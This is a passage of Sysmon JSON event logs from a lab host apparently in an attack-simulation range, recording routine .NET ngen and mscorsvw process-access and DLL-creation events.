C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:04.791","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4297-5F2D-0000-001059880A00}","TargetProcessId":"3360","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:04","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7406,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:04.791\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4297-5F2D-0000-001059880A00}\r\nTargetProcessId: 3360\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:04.791","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4297-5F2D-0000-001059880A00}","TargetProcessId":"3360","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:02:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:04","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7407,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:04.807\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42BC-5F2D-0000-0010CF610D00}\r\nTargetProcessId: 3360\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:04.807","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42BC-5F2D-0000-0010CF610D00}","TargetProcessId":"3360","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:06","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:05","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":7408,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:02:05.807\r\nProcessGuid: {90617006-42BC-5F2D-0000-0010CF610D00}\r\nProcessId: 3360\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\d20-0\\PresentationUI.dll\r\nCreationUtcTime: 2020-08-07 12:02:05.807","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:02:05.807","ProcessGuid":"{90617006-42BC-5F2D-0000-0010CF610D00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\d20-0\\PresentationUI.dll","CreationUtcTime":"2020-08-07 12:02:05.807","EventReceivedTime":"2020-08-07 12:02:07","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:05","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7409,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:05.869\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42AE-5F2D-0000-001003150C00}\r\nTargetProcessId: 4724\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:05.869","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42AE-5F2D-0000-001003150C00}","TargetProcessId":"4724","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:07","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:05","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7410,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:05.869\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42AE-5F2D-0000-001003150C00}\r\nTargetProcessId: 4724\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:05.869","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42AE-5F2D-0000-001003150C00}","TargetProcessId":"4724","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:02:07","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:05","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7411,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:05.869\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42AE-5F2D-0000-001003150C00}\r\nTargetProcessId: 4724\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:05.869","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42AE-5F2D-0000-001003150C00}","TargetProcessId":"4724","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:07","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:05","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7412,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:05.979\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4298-5F2D-0000-001049930A00}\r\nTargetProcessId: 876\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:05.979","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4298-5F2D-0000-001049930A00}","TargetProcessId":"876","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:07","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:05","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7413,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:05.979\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4298-5F2D-0000-001049930A00}\r\nTargetProcessId: 876\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:05.979","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4298-5F2D-0000-001049930A00}","TargetProcessId":"876","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:02:07","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:06","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7414,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:05.994\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42BD-5F2D-0000-0010966B0D00}\r\nTargetProcessId: 876\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: 